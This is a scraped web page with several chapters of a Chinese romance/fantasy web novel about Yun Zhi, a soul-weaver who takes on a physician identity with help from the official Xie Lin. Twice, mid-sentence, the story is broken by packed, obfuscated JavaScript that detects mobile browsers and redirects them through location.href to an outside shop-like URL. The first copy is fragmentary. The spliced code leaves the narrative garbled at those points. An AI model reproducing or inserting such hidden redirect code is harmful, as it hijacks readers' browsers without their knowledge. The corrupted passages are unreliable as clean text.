后面跟着的几个丫鬟被吓了一大跳,忙跑上前来,七手八脚地要将人扶起来。 “小姐,您怎么样?有没有摔着?” “小姐,痛不痛?” 燕紫鸢缓了半天,才终于缓过气来。 抬手一看,手掌擦破了,脚腕与膝盖处也是火辣辣地疼。 燕紫鸢瞬间火起,眉目一沉,抬手便甩了身旁的丫鬟一个耳光:“都是死人吗!” 身旁的丫鬟结结实实地挨了一个耳光,立刻跪了下去,“小姐……小姐恕罪!奴婢……奴婢……” 燕紫鸢冷冷地看着那丫鬟,正要再骂,却见前方小径上出现了两个人。 是两个女子。 走在前面的女子一身雪青色衣裙,肤若白瓷,脑后青丝如瀑,头上插了一根玉簪,耳上坠了一对小小的丁香。 除此之外,再无其他饰物。 本是极素净的装扮,却显得那女子愈加清冷脱俗,贵气雅致。 走在后面的女子一身红衣,头发用发带高高束起,手中拿了一把剑。 面容虽然娇俏,却显出几分飒爽之气。 燕紫鸢微愣了一瞬。 不知怎的,她脑中几乎瞬间便确认了这人的身份。 云织。 云织看着前面的两人,面色平静,脚步不疾不徐。 两人方才应是跌得很重,此刻钗发散乱,衣裙沾着污渍,很是狼狈。 阿璧还是很有分寸的。 不然,怕是这两位娇小姐的腿都会跌断。 云织身旁,阿璧下巴微微扬起,眼底藏着一丝不易察觉的笑意。 敢侮辱织织!活该! “三小姐,这是怎么了?”云织开口,浅淡的眸光扫过许姝与燕紫鸢,“没事吧?” 在云织视线扫过许姝的瞬间,许姝忍不住打了个寒战。 不知为何,许姝心里莫名冒出一个念头:她们方才说的话,云织听到了。 “哎呀,三小姐,这是怎么了?” 阿璧的声音里带着恰到好处的惊讶,“怎么摔成这样?这么不小心啊。” 阿璧说罢,目光转向燕紫鸢,“这位……小姐,怎么称呼?没事吧?” 一身藕荷色衣裙,五官平常,满头钗环珠翠,那一丝丝少女的清秀被硬生生压了下去。 还真是与许姝一个品味。 俗气至极。 阿璧的心里暗暗道。 许姝脸色涨红,咬着唇,没有说话。 燕紫鸢攥着手心,冷冷看了云织与阿璧一眼,也没有应声。 这样的野女人,也配知道她的名头? “三小姐行路小心些。”云织淡淡扫了燕紫鸢一眼,便收回了视线。“告辞。” “对对对,稳当些,别毛手毛脚的。”阿璧又看了面色难看的二人一眼,竭力压下上翘的嘴角,跟上了云织。 燕紫鸢冷冷看着云织主仆二人走远,胸脯不断起伏。 “燕姐姐……”许姝手也痛腿也痛,看着燕紫鸢的模样,怯怯地开口。 “这野女人!竟敢笑话我!” 她燕紫鸢何曾丢过这样的脸! 许姝看着燕紫鸢满脸的怒意,瑟缩着不敢再开口。 她确定云织的话里没有嘲笑的意思,但眼下这当口,她可不敢说。 以免触了这位户部侍郎千金的霉头。 … 云织与阿璧乘着马车,一路向着云府的方向而去。 待来到了离许府不远的街口,马车停住。 云织扶住阿璧的手臂,下了车。 两人面前,是一家药铺。 这药铺门面修得很是阔气,向内看去,一排排的药柜整齐排列,很是整洁。 药铺的正上方,“云氏药铺”四个大字熠熠夺目。 “这位小姐,需要点什么?” 药铺的小伙计见云织和阿璧走进来,忙殷勤地上前招呼。 “劳烦,需要这些药材。”云织将手中折好的纸递过去。 “好嘞,您稍等!”小伙计接过纸便转身,忍不住又偷偷看了云织一眼。 不知这位是哪家的小姐,长得忒好看! 趁着这会,云织在药铺中随意走着,见掌柜的百无聊赖地靠着柜台坐着,便上前。 “掌柜的,近来生意不好吗?” 掌柜的听见这话便心烦,原本不想搭理,但一看竟然是个年轻漂亮的姑娘,面上瞬间便堆满笑意。 “近来生意确实不太好做……” 云织见柜台上空了一大块,心中疑惑,“掌柜的, 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“这位小姐,您要的药材都包好了,这边结账!”此时,先前招待云织的小伙计跑了出来,将药材递了过来。 阿璧接过,便去柜台结账。 “多谢。”待结过了账,云织与阿璧便要离开。 才走到药铺门口,有人风风火火一路跑进来,差点便撞上云织。 阿璧反应极快,立时伸手将云织护住,皱眉看着那人。 是个一身丫鬟打扮的姑娘。 那人丝毫不在意阿璧的眼色,一溜烟跑到掌柜的面前,“刘叔,怎么样,小姐要的女医有眉目了吗?” 抬脚欲走的云织闻言,顿住了脚步。 “紫苏啊,这女医哪里是这么好找的!”掌柜的苦着一张脸,看着来人。 “哎呀刘叔,再难找也要找,小姐催得紧!”叫紫苏的丫鬟一跺脚,“否则,我们真是都没有好果子吃了!” “大小姐真是难为我啊,这世道,有几个女子愿意学医术的!” “大小姐到底是怎么不舒服,为何非得是女医呢!” “主子的事,我怎么好打探,”紫苏满脸委屈,“可是找不到女医,我怎么跟小姐交代呢!” 云织垂眸,与阿璧走出了药铺。 … 当夜,栖竹苑。 “织织,你是想去云府做女医吗?”阿璧看着云织捣腾着各种药材。 云织捻着药材的手微微一顿。 她的心思,从来都瞒不住阿璧的。 今日去云家的药房,本来就是特意去打探消息,不想时机刚刚好。 “是有这个打算。” “确实是个好机会。”阿璧点了点头,又看向云织手中的草药。 “织织,这些药,你如今都懂如何用了?” “嗯。” 自上次为许菀织魂过后,云织便发现,她记忆的恢复,不再是完全依靠织魂后的幻境了。 有时看到什么器物或场景,脑中便像是触发了什么开关,忽然想起一些过去的片段。 这几日,她想起了许多过去的事情。 其中记起最多的,便是她曾经在母亲的悉心指导下,努力钻研医术。 “我们昭昭果真天赋过人,不愧是娘的女儿呢。” 最近一次记起的片段,月素衣拉着她走在药田中,温柔浅笑。 “娘,您怎么医术这样好,还懂这么多草药呢?”还是云昭月的她小小的一个,拉着母亲的手,蹦蹦跳跳。 “爹爹说,宫中的御医怕是都没人能比得上娘呢!” “这是个秘密,”月素衣指尖点点她的鼻尖,神秘一笑,“等昭昭长大些,娘再告诉你。” 这几日,她依照记忆,试着配了一些娘曾教过的方子。 而阿璧与秋兰秋竹则是自告奋勇帮忙试药。 效果均是极好。 如今她的医术自然比不过那些行医几十年的医者,但也绝对当得起一句医术精湛。 那些普通些的病症,她应付起来更是轻而易举。 “织织,你可真的太厉害了!”阿璧看着被各种草药包围住的云织,由衷地感叹,“这才几日呢!” 云织没有作声,默默垂眸看着蔓过手腕的金线。 的确,才几日呢。 她的记忆正加速恢复,是件好事。 但…… 并非没有代价。 14. 搬离许府 自上次为许菀织魂后,云织开始有了一些之前从没有过的症状。 夜间会突然心口绞痛,痛得她冷汗涔涔、面色发白。 偶尔在想起过去的记忆时,脑中蓦然剧痛,几乎要将她撕裂。 这一切都意味着,她的精力同时也在加速流失。 还有半年。 云织心里默默念道。 “织织,为何你过去什么都懂,而我恢复的记忆里,永远都是在练功呢!”阿璧没注意到云织的神色,此刻托着腮,满脸苦相。 这些时日,不知是不是因为云织的记忆逐渐恢复,阿璧的记忆也开始慢慢苏醒。 可……她的过去,实在无聊。 每日就是练功,练剑,休息,睡觉。 要么就是守在云织身边。 她好像,除了练功和云织之外,便没有其他的生活了。 哦,也并不全是。 她的记忆中还看到过一个人,她叫她,娘。 只是在记忆中娘从来都是一身黑衣,冷冰冰的,总是督促她练功。 而且,好像从来没有对她笑过。 “看来,之前我这贴身护卫的工作,做的很是辛苦呢!”阿璧挑着眉看着云织,开着玩笑道。 云织放下手中的草药,认真回想。 她恢复的记忆中,阿璧好像总是很沉默,总是在练剑,也总是冷冰冰的。 与现在的性子完全不同。 “之前真是辛苦阿璧了,”云织嘴角噙了一抹笑意,“以后,我一定会加倍对你好,让你不要再那么辛苦了。” “这还差不多!”阿璧得意一笑。 “不过,织织,这些时日你除了夫人,还有医术,就没想起些别的吗?” 云织面上的笑意微微一滞。 有的。 有很多。 她终于记起了父亲的脸。 那张对着云氏的学徒时一贯严肃的脸,在看到她时,总是满面温柔的笑意, 想起母亲总是带她认各种草药,然后偷偷塞给她一块糖,还不让她告诉父亲, 想起她偷偷为谢凛织剑穗,织的不好便发脾气扔到一旁,过一会又捡回来继续织, 想起谢凛有一次带伤来凤梧山,娘为他医治的时候,他一声不吭,却在看她不小心扭了脚后,急得白了脸, 想起谢凛手把手教她骑马,演示新学的剑法给她看。 还有—— 云清川。 云清川每次来凤梧山,总会带给她一些有趣的小玩意,有时候是漂亮的帕子,有时候是几块糕点。 “清川哥哥,你怎么每次都带东西给我?”记忆里,云昭月仰着脸,这样问云清川。 云清川笑得温润如玉,弯下腰看着她,“因为昭昭喜欢。” “只要昭昭开心就好。” 那些记忆,似乎很熟悉,却又莫名遥远。 一切都已物是人非。 云织垂眸,微微攥紧了指尖。 “没什么特别的。”她低声道。 … 次日,云织与阿璧便搬离许府。 新买的宅子已经布置好,云织与阿璧也再不想多留。 云织先去松延苑,向许老太太告别,老太太难免又是抹泪又是叮嘱,而后才放人离开。 云织与阿璧两人如来到许府时一样,仍是只有一个包袱。 待二人来到府门口,却有人已经等在了门口。 是柳姨娘。 “云织小姐,我……来送送你……”柳姨娘见到云织,眼圈便红了。 她身份低微,平日里是不能像老夫人、夫人或者许府的少爷小姐们一样抛头露面的。 只能等在这里,送一送云织。 “姨娘客气了,不必特意来送的。”云织的眸子中染了丝暖意。 “要送的,”柳姨娘攥紧帕子,将眼泪逼了回去,“我……我想亲自送一送云织小姐,对您说一声……谢谢……” “姨娘的心意,云织收到了。” 云织顿了顿,“也希望姨娘日后,过好自己的生活,不要让四小姐为你担心。” 听云织提到许菀,柳姨娘才刚刚逼回去的眼泪再忍不住。 “姨娘保重。”云织又对着柳姨娘点了点头,转身出了府门。 “云织小姐……保重……”柳姨娘泪眼婆娑地看着云织的背影,哽咽难言。 虽然只见过云织两面,但柳姨娘却觉得,今日的云织,与那日为四小姐织魂时的云织,大为不同了。 像是少了许多清冷,变得更有人气了。 许府门外。 许衡奕一身白衣,牵着马等在台阶下。 见云织与阿璧两人出来,许衡奕面上的沉肃晃了晃,逐渐转为一抹笑意。 “怎么这么慢!”许衡奕微皱着眉头道。 “抱歉,耽误了一些时间。”云织站在许衡奕面前,顿了半晌之后,才道:“许衡奕,我想见一见谢大人。” 许衡奕一愣。 见阿凛? “你见他做什么?”许衡奕满脸疑惑。 “有些事,想拜托谢大人。” “拜托阿凛?”许衡奕更疑惑了,“什么事,说来听听,本少爷或许就解决了!” 云织抬眼看着许衡奕,沉默。 看着沉默的云织,许衡奕腹中顿时升起一股无名怒火。 “又是我不能问,你不能说,对吧!”许衡奕面上带了愠怒,“得,本少爷不问了!” 许衡奕赌气翻身上马。 待云织与阿璧二人上了马车后,便一夹马腹。 一马一车开始前行。 马上,许衡奕满心都是方才云织沉默看着他,一言不发的模样,心中很是憋闷。 什么时候,云织与阿凛竟如此亲近了? 如今都背着他,有秘密了! 有什么事不能告诉本少爷,本少爷就不能帮吗! 越是想,许衡奕心口越是发堵,不由得狠狠一挥马鞭。“驾!” 马儿吃痛,瞬间尥蹄向前奔去。 可去的却不是新宅的方向。 急促的马蹄声传来,阿璧撩开了车帘,看着许衡奕的背影皱起了眉头。 “他这是怎么了?” 云织默了默,“不知道。” “怎的一个大男人,一副大小姐脾气,心思让人捉摸不透!” 阿璧哼了一声,挑了挑眉。 … 待来到了新宅,云织望着眼前精致的三进院子,微微一愣。 花草树木,花园凉亭,应有尽有。 那日她与阿璧只是远远地看了一眼,并没有进入,却不想这宅子竟这般开阔。 “小姐回来了!” 秋兰秋竹远远见到云织进门,满脸喜气地跑上前,接过了阿璧手中的包袱,“小姐,阿璧姑娘!” “欢迎小姐回家!” 秋兰的这句“欢迎回家”,说得云织心头霎时一暖。 待她进了门,便更惊讶了。 屋内的器具陈设,无一不细致,无一不精巧。 比起她在许府时住的栖竹苑,也不遑多让。 “许衡奕倒真是用心。”阿璧抱着手臂,看着这房间,满意地点头。 虽然脾气是大了点,但人是真的细心稳妥。 “阿璧,修整这宅子,用了多少银钱?”云织道。 她和阿璧并没有多少银钱,而这宅子的布置,显然即便用上两人所有的积蓄,也远远不够。 “不清楚,”阿璧耸了耸肩,“许衡奕没说。” 见云织蹙眉,阿璧又道:“这宅子从选定到布置,所有花销都没有经过我的手。” 云织沉默。 阿璧明白云织的想法,又道:“许衡奕说了,用的银钱,是从你的账上扣的,作为帮了许家人大忙的报酬,你应得的。” “至于你的账上有多少银子,我也不清楚。” “除了秋兰与秋竹,许衡奕还安排了一个看门的,两个护院,说是月钱都从你的账上扣。” 见云织抬眸看过来,阿璧挑了挑眉,“许衡奕说了,作为许家的人,即便是表小姐,也不能一副清贫相。” 云织继续沉默。 她欠下的,越来越多了。 … 待阿璧与秋兰秋竹等人里里外外安置妥当,天色已暗。 护院刚在院里掌了灯,看门的便来通报,说谢凛来了。 听到谢凛名字的瞬间,云织手不由得攥紧。 除了之前故意入许府,这是她第一次主动接触谢凛。 因为,后面的事,许衡奕便不该再参与了。 而她,也无法再装作不知情、享受着谢凛的默默帮助,还心安理得。 “织织,怎么了?看你的样子,好像……有点紧张啊?” 阿璧凑过来,一对杏眸里满是狡黠,“要么,我跟你一起,帮你壮壮胆。” 云织觉得面上似乎有些热意,避开阿璧的目光,“不用了。” 待云织来到院内,暮色四合。 谢凛背着手,一身湛蓝色官服立在院中,身姿挺拔,几乎要与夜色融为一体。 听见身后的动静,谢凛回过头。 四目相对。 这似乎是第一次,他们两人私下见面。 云织攥紧手心,只觉得掌心的同心符似乎要烧起来一般,灼得她心内一慌。 “云织姑娘,有事找我?” 心神纷乱间,云织听见谢凛道。 云织抬眸。 这声音,与先前几次两人对话时相比,此刻竟暖如春风。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481472|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 就像云织记起的,在凤梧山的时候,谢凛曾无数次浅笑着,叫她“昭昭”时的模样。 云织闭了闭眼,竭力压下心头的异样。 “是。云织有一事,想求谢大人。” 云织尽力让自己的声音如往常一般平淡,“自然,云织不会白白劳动大人,大人可以提出条件。” “只要我能做到的,绝不推辞。” “哦?”谢凛眸色清明看着云织,“云织小姐可以说说看,要求我做什么事。” 不知是不是错觉,云织竟觉得方才谢凛的那一声“哦”,似乎带着一丝丝笑意。 而她,竟似被这一声“哦”撩动得心头一跳。 “我知道,我如今的身份,是谢大人帮忙安排的,”手心的温度愈加灼热,云织忍不住攥了攥手心,“大人的恩情,云织铭感五内。” “但,云织今日想再求大人一件事。” 云织鼓足勇气,抬眸看向谢凛,“我想要,多一层身份。” “谢大人可否安排,让云织不仅是许老夫人远房亲戚,还是……医者出身?” 此事是云织早便想好了的。 云妍初找女医,她自信可以凭着如今的本事接近她。 但,云府届时必然会调查她的底细。 而她现在虽是许府的远房表亲,可为何会医术,却经不起推敲。 若要不引起云府的人怀疑,她必须要有个绝对可信的身份。 而能做到这一点的,只有谢凛。 谢凛的面目一半映在灯光下,一半隐在黑暗中,云织一时看不出他的表情。 “云织小姐,要医者的身份做什么?”半晌之后,谢凛淡淡开口了。 “大人无需知道。”云织顿了顿,“大人只需开出条件就好。” 又是半晌无言。 “好,我答应了。” 就在云织以为谢凛要拒绝的时候,谢凛终于开口道。 “但,我有三个条件。” 云织抬眼,眸色满是认真,“什么条件,大人请说。” “其他的,我还没想好,”谢凛顿了顿,“日后待我想好了,再告诉云织小姐。” “今日,云织小姐可以先完成第一个。” 谢凛转过身,本就俊逸的面目在月色下愈加夺目,“云织小姐可否邀我,到屋内一坐?” 云织闻言蓦然抬眸,面上满是措手不及的惊讶。 谢凛看着云织讶异的模样,暗暗攥紧手心,“我想听云织小姐讲一讲,织魂,是怎么回事。” … 半个时辰后,终于送走了谢凛。 云织独自坐在桌案前,看着谢凛方才坐过的位置,忍不住抚了抚依然温热的脸颊。 方才,她也算是将她会为人织魂之事全盘托出了。 她是如何为死者找齐碎魂、了却执念、织魂送入轮回, 那条金线是如何莫名出现,随着她每次织魂一路蔓延。 但云昭月的身份,通过织魂找回记忆,以及她猜测金线蔓延的代价,她一字未提。 谢凛会问起此事,云织并不意外。 自她入城那日起,他就对她的身份有所怀疑,之后更是诸多调查试探。 如今他已知道了她是玄师,却没有将她拘走,还帮她掩饰身份,想必…… 已经是他看在与许衡奕的情分上,做出的最大容忍了吧。 也或许,不只是看在与许衡奕的情分上,还有…… 看在与曾经云昭月的情分上。 因为,她也姓云。 念及此处,云织不由想起方才谢凛问她的问题。 “每次织魂,云织小姐都会像那日一样脱力晕倒吗?”谢凛声音淡淡,语气平常。 云织因他此言心不由得一跳,便抬眸看过去。 橘色灯光下,谢凛的表情依旧淡漠,像是随口问了一个再平常不过的问题。 在她掌心的同心符烫得灼人的时候,谢凛神态自若,无任何异样。 谢凛的同心符,并没有反应。 所以,这些日子,倒是她多想了。 或许,谢凛掌心的同心符,她当年根本就没有画成。 既是如此,她如今顶着与过去截然不同的脸,又没有同心符的提示,日后自然不必担心谢凛会猜出她的身份。 云织抬手,看着掌心同心符的位置,暗暗舒了口气。 可与此同时,不知为何,她心内竟涌上一股莫名的失落。 虽然她知道,现在她不该想这些,但—— 此刻她却无法控制自己。 满心都是一个疑问。 谢凛的同心符,真的没有画成吗? 为何会没有画成? 是当年的她学艺不精,还是—— 他当年,心中并未认定了她? 15. 如此绝情 云织想不到,谢凛的动作会如此之快。 第二日,一直跟着谢凛的护卫沈青便悄然来到了新宅,将一封信交给了云织。 “云织小姐,我家公子让我将此信交给小姐。”沈青沉声道。 “多谢沈护卫。”云织接过信。 没来由地,心内竟有一丝失落。 沈青想着自家主子昨夜又踏夜而来,与他一起在这宅子外守了半夜,攥了攥手心,像下定了决心般又补上了一句,“我家公子衙门公务繁忙,实在脱不开身,所以没有亲自前来。” 云织指尖一紧,瞬间有种似乎被人看穿了心思的尴尬。 “谢大人公务繁忙,这种小事,自然不敢劳动大人,”云织眸色清明,“还请沈护卫代云织转达,多谢大人费心。” 沈青沉默。 他直觉云织小姐的话中似乎有些别的意味,但也说不上是哪里不对,最后便只能一拱手:“沈青告退。” 屋内。 云织独坐,将沈青送来的信展开。 纸上的字笔力遒劲、字形舒展却沉稳,是谢凛的字迹。 纸上的字并不多,云织却看了许久。 半晌之后,才将那张纸折好,握在手中。 她的身份,仍是许府许老太太的远房亲戚。 但与之前不同的是,她因自幼对医术感兴趣,且很有天赋,所以被云游路过的神医看中,将她收为徒弟,教授了一身医术,是近来才回到家中。 又因为许老太太近来身体不适,所以特意将她自萍乡镇接来京中。 但因为她自幼随神医修习医术,所以性子淡漠,不喜人多,许家便为她在京城辟了宅子独住。 如此安排,将她的身份,她的突然出现,以及她的医术,都安排得妥妥当当。 谢凛安排得如此细致,想必即便云家真的派人前去萍乡镇调查,得到的答案也并无不同。 云织想着信中的内容,半晌无言。 不知为何,脑中却忍不住总是浮现昨夜两人灯下对坐时,谢凛沉默倾听的柔和眉眼。 云织闭了眼,竭力压下心头的异样。 不要再想。 不该再想。 如今他已经得知了她玄师的身份,且并不揭穿,自然不会再对她过多关注打探。 而她确认了他的同心符并无反应,也不必再担心真正的身份会被他发现。 此后,他们二人便该各走各的路。 这也正是她当下期盼的,不是吗? 可,他为何会如此帮她? 她自认眼下没有什么价值或用处,可值得谢凛冒险相助、以作交换的。 难道,只是因为许衡奕的关系,或者……因为她姓云吗? 半晌之后,云织才定了定心神,摒去脑中杂乱的思绪,终于将手中的信凑近了桌上烛火。 直到那张纸化为焦灰,彻底消失不见。 … 当夜。 许久未见的兄弟二人相约聚在了晏清楼。 酒桌上,一侧的许衡奕满面愁容,长吁短叹,另一侧的谢凛眉目淡漠,气势冷沉。 前来上酒菜的小二推开门,被屋内肃沉的气氛吓了一跳,放下手中的酒菜后,便赶紧退了出去。 “阿凛,我觉着,这事儿挺对不住云织的。”许衡奕一杯酒下肚,皱着眉开口。 “你说,云织是不是真的听到了?她是不是生我的气了啊!” 许衡奕说的,是那天许姝与燕紫鸢在许府花园编排云织一事。 原本此事许衡奕并不知情,云织事后也并未提起。 许衡奕听说自家妹子跌倒受了伤,便前去探望。 许是许姝心虚,担心云织听到了她们的话后,去找许衡奕告状,所以言语间多次试探,这才被他察觉到不对。 一通逼问加训斥,许姝才终于交代。 她虽没有详说具体与燕紫鸢编排了什么,但许衡奕知道,那位娇惯成性的户部侍郎千金,定然说不出什么好听的话。 谢凛垂眸看着掌心,没有说话。 沈青整日盯着那边的动静,此事他自然是知情的。 阿璧的身手虽然不错,但却还没好到能逃过沈青眼睛的地步。 那日阿璧出手教训许姝与那女子,他事后听沈青提起,也只以为她们二人做了什么,惹得阿璧不快。 却不想,原来她们竟然编排云织。 而且,还是编排云织与许衡奕。 念及此处,谢凛抬眸看向对面的许衡奕。 “你这么看着本少爷干什么?”许衡奕原本还在念叨,却被谢凛突然看过来的目光吓了一跳。 “本少爷虽然英俊潇洒、风流倜傥,但不好男风,你不要自作多情!” 房间门口站着的沈玄与许柒见许衡奕忍不住肩膀一抖,拼命掐着自己的掌心,才忍住没有出声。 沈玄的目光递向许柒:兄弟,你家主子,真是越来越……没个正经了。 许柒目光与沈玄一碰,而后抬头望天:兄弟,没办法,咱们当下人的,只能受着。 “你说,云织非要绕过本少爷,找你求助,会不会就是因为此事,生我的气了?” 许衡奕并未注意到沈玄与许柒两人的眼神,继续一脸愁容地盯着谢凛。 谢凛依然沉默。 “本少爷真是脑子不好,才问你个闷葫芦!”许衡奕伸手对着谢凛点了点。 “算了!明日我亲自登门去道歉。” 谢凛闻言眉目微微一动,还不待他开口,便又听到许衡奕道:“阿凛,本少爷现在心里乱得很,之前从没有过这种感觉。” “你说,我不会是喜欢上云织了吧?” 门边的许柒闻言顾不上沈玄正对他挤眉弄眼,一脸惊恐地看向自家主子。 我的少爷啊,你可千万别犯傻! 你的亲事,可是老爷早就定好了的,只能是燕大小姐! “你最好不会。”还没等许柒深想,便听到谢凛冷冷地开口了。 谢凛抬眸看着对面的人,眸色冷沉,“她看不上你。” “你说什么!”许衡奕闻言瞬间像被踩中了尾巴一般弹了起来,脸色涨得通红,“凭什么看不上我!” “以本少爷的样貌人品家世,哪里配不上她!” 谢凛垂眸,不再说话。 还真配不上。 许衡奕像是也明白了感情的事并非是靠配得上配不上来定的,颓然地坐了下去,又灌了一杯酒。 “算了,先不说这个。” “阿凛,云织要医者的身份做什么?” 谢凛今日约他喝酒,便将云织新的身份与他说了,让他与许老太太通好气,后续不要说漏了嘴。 他也才明白,为何云织说有事要求谢凛。 “她住在许府这么久,我也没发现她会医术啊。” “不知道。”谢凛淡淡回了三个字。 对于云织为何要医者的身份,他有所猜测。 既然云织之前打听京城云家,想必是发现了什么线索,要从云家入手调查。 有了医者的身份,行事便更方便。 谢凛不由得想起过去在凤梧山的时候,云织小小年纪便对各种草药和方子了若指掌的模样。 “凛哥哥,娘说我现在的医术,已经得她真传了,一般的疑难杂症都难不倒我了哦!” 那时的云昭月仰着一张俏脸,满面喜色地看着他。 “日后你要是再受伤,我便可以帮你医治了!” 话才说完,小姑娘却瞬间变了脸色。“啊,呸呸呸!百无禁忌!” “我希望凛哥哥在战场上战无不胜,永远不要再受伤了!” 谢凛的眸色泛着暖,不由得攥紧了掌心。 他的昭昭,医术是最厉害的。 “你小子……笑什么!”许衡奕刚刚仰头灌下一杯酒,视线一扫发现谢凛嘴角竟噙了一丝笑意,瞬间感觉浑身的汗毛都立了起来。 “你不是真看中本公子了吧!” 这小子从来冷心冷情的,让人看着就想给他一拳,什么时候这样面色温柔浅笑过! 真是见了鬼了! “你看错了。”谢凛冷冷看了许衡奕一眼,仰头将杯中酒喝下。 再看去,这人明明还是一张臭脸。 “难道真是本公子今日心烦,眼睛都花了?”许衡奕自言自语道。 “叩叩叩。” 就在两人各怀心事时,房门处传来几声轻响。 一个一身黑衣的男子推门走进来,对着谢凛一拱手:“公子,沈青护卫有话,要属下带给公子。” 男子凑到谢凛耳边,低声道:“沈护卫说,云织小姐方才又去了云氏药房,与那掌柜的交谈间,沈护卫似乎听到云织小姐说‘入云府’、‘做女医’之类的话。” “沈护卫便命我立刻来向公子禀报。” 谢凛眸色瞬时一冷。 “怎么了?”许衡奕不明所以,看着谢凛瞬间变了脸色,好奇地道。 “衙门里有事,我先走了。” 谢凛说完便立即起身。 “什么急事啊!” 谢凛听着许衡奕在身后的喊声,没有回头。 他此刻满心都是昨日云织求他要医者身份时,那满是坚定神色的眼神。 还有……云清川。 想到他曾在凤梧山上偶然遇到过云清川,此人眉目温润地浅笑着叫“昭昭”的模样,谢凛攥紧了手心。 脚下的步子愈发迈得飞快。 … 待云织自云氏药铺回到新宅,便见到了意想不到的人。 谢凛一身玄衣等在院里,看到她回来,眉目似乎愈加冷沉。 “小姐,谢……谢大人有事找您,在这等了一会了……”秋兰偷偷看了一眼谢凛面目冷凝的模样,说话间小心翼翼。 这位谢大人,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481473|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着可太吓人了! 云织在看到谢凛的那一刻心似乎停跳了一瞬,定了定心神,才缓步上前。 阿璧皱着眉头,抱着手臂,不放心地靠得近一点。 “谢大人。” 云织看着谢凛蹙紧的眉头,“不知谢大人找我,何事?” 谢凛背在身后的手攥紧,又松开。 方才他关心则乱,听说云织要入云府,满心都是担忧,还有些其他说不清的情绪,便一路急着赶了过来。 可真到云织站在了他的眼前,却又不知道如何开口了。 说什么? 问她为何要进云府,做女医? 昭昭现在还不想与他相认,若他这样问,昭昭定会以为,他派人跟踪她,监视她。 若昭昭问为何,他要如何回答? 会不会因为他今日的莽撞,昭昭反而会对他更加防备,将他推得更远? 他已经失去过她一次,不能再承受一次了。 心中的念头千回百转,最终他只说了一句:“无事。” 云织疑惑的表情还未在脸上展开,便听谢凛又继续道:“听许衡奕说,云织姑娘,似乎对凤梧山云家的事,很感兴趣?” 云织心头一跳。 “听人提起过,好奇而已。”云织压下心内的情绪,淡淡道。 “哦?”谢凛目光灼灼,“姑娘,只是好奇?” 又是那一声撩动人心的“哦”。 云织攥紧手心,压下掌心的灼热,“自然。不然,大人以为是为何?” 想到这人掌心的同心符并未生效,云织狠了狠心。 再开口时,声音里便是拒人于千里之外的冷意。 “说来只是一桩案子罢了,闲来无事的时候聊上几句,自然与我无干。” 谢凛面容依旧淡漠,只手攥得很紧。 “是我多言了。”很久之后,久到云织以为谢凛不会再说什么了,谢凛才终于道。 “不打扰姑娘休息,告辞。” 谢凛才刚走出两步,身后便传来云织清凌凌的声音。 “谢大人,请留步。” 他转过身,云织已经走到了他的身前。 云织伸手,将掌心握着的东西递到他眼前。 “大人这药,太过珍贵了,还请收回。” 谢凛垂眸,看着云织雪白掌心间的药瓶。 “且,那金线并非受伤所致,这药无用,反而浪费。” … 待谢凛玄色的背影彻底消失不见,云织还立在原处。 阿璧凑过来,挑了挑眉,“织织啊,虽说我们后续要和这位谢大人保持距离,但是……” “你方才,可太伤谢大人的心了……” “连那药都要特意还回去,真的要做到如此绝情的地步吗?” 云织垂眸,没有说话。 “好了好了,我不说了。” 阿璧看着云织的表情,心下不忍,便揽住她的手臂,“不管你做什么,我都支持你。” 云织的手攥紧。 绝情吗? 一定要的。 他已经为了云家付出许多,又帮了她这么多,若不划清界限,后续他牵涉其中,便再无法独善其身。 伤他的心吗? 阿璧却说错了。 阿璧以为,他已经认出了他,其实他那些超出寻常的关注与在意,不过是因为,她的姓氏罢了。 他的同心符并未有所反应,他不知道她是云昭月,何来伤心。 与此同时。 谢凛与沈青一路沉默,直到拐过了街角,才停住脚步。 谢凛抬手,看着掌心的小瓷瓶。 这药,是曾经昭昭亲手制给他的。 他视若珍宝,一直随身带着,轻易不示人。 他以为,若昭昭看到这药,定然会明白他的心意,明白他认出她了,明白他什么都不在意。 只要她能留在他身边就好。 可今日,昭昭冷着眼,亲手将这药还给了他。 昭昭对他有情,他很确认。 每次昭昭的同心符有反应,他都发现了的。 但……她不认他,还一直将他向外推。 谢凛想到方才来的这一趟,突然莫名后悔。 他是不是,逼昭昭太紧了? 若是昭昭再次逃开,他要如何? 谢凛收拢掌心,将那个小瓷瓶紧紧攥进手里。 “继续守着,有什么情况,随时来报。”谢凛沉声吩咐了一句,便走进了夜色里。 沈青看着自家主子寥落的背影,心下也是发沉。 虽然他不知道发生了什么,但刚刚云织小姐的意思似乎很明显,是要和他们主子划清界限。 主子浑浑噩噩两个多月,如今才因为云织小姐有了些生气,难道…… 就这样被拒绝了? 无奈间,沈青最终只应了一声:“是。” 16. 于我不难 在阿璧的刻意而为下,云家人来的很快。 自云织有了医者身份后不过两日,云家便递了帖子,邀请云织上门一坐。 “织织,一切果然如我们所料!”阿璧摆弄着云家递来的帖子,得意地道。 “刚刚才打听了你的身份,这便邀请你上门,那云家小姐可真够沉不住气的。” 她其实也没特意做什么。 不过是去云氏药房买了两次药,其间故意不经意地提起她家小姐医术精湛。 不想那掌柜的听闻她家小姐懂医术,立时眼睛都亮了,几乎是讨好般地与她搭话,打听她家小姐是何许人。 可见那云家小姐将其逼得不浅。 “织织,咱们去吗?” 云织看着阿璧手中的帖子,淡淡道:“不去。” 